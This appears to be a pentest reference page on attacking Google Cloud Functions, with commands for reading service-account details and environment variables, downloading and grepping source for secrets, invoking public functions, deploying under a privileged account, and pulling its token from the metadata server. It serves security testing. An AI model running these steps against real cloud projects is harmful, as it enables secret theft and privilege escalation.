A Cloud Function runs with a runtime service account and often holds secrets in environment variables and source. With read access you pull both; with deploy access you run code as the function's account, which is the actAs escalation path when that account is more privileged than yours.
Reading source, environment, and config#
gcloud functions describe <fn> --gen2 --region <r> \
--format='value(serviceConfig.serviceAccountEmail, serviceConfig.environmentVariables)'
# download the deployed source archive
gcloud functions describe <fn> --gen2 --region <r> --format='value(buildConfig.source.storageSource)'
gsutil cp gs://<source-bucket>/<object> src.zip && unzip -o src.zip -d src/
grep -rinE 'secret|password|token|key' src/
Unauthenticated invocation#
# a function deployed with the public invoker binding is reachable without creds
gcloud functions call <fn> --gen2 --region <r> --data '{}'
curl -s https://<region>-<project>.cloudfunctions.net/<fn>
Running as the runtime service account#
# deploy or update with an attached SA; code then reads its token from the metadata server
gcloud functions deploy <fn> --gen2 --region <r> --runtime python312 \
--run-service-account <privileged-sa>@<proj>.iam.gserviceaccount.com \
--trigger-http --allow-unauthenticated --source .
# inside the function:
# curl -H 'Metadata-Flavor: Google' \
# 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'
Exploitation notes#
- Deploying or updating a function requires
iam.serviceAccounts.actAson the runtime SA; that combination is the privilege-escalation path (see privilege escalation). - A public
allUsers/allAuthenticatedUsersinvoker binding exposes the function without credentials; enumerate it withgcloud functions get-iam-policy. - Gen1 and gen2 differ: gen2 functions are backed by Cloud Run, so
--run-service-accountand the Cloud Run controls apply.
Tools#
- gcloud (
functions deploy,describe,call,get-iam-policy). - gsutil: pull the source archive from its staging bucket.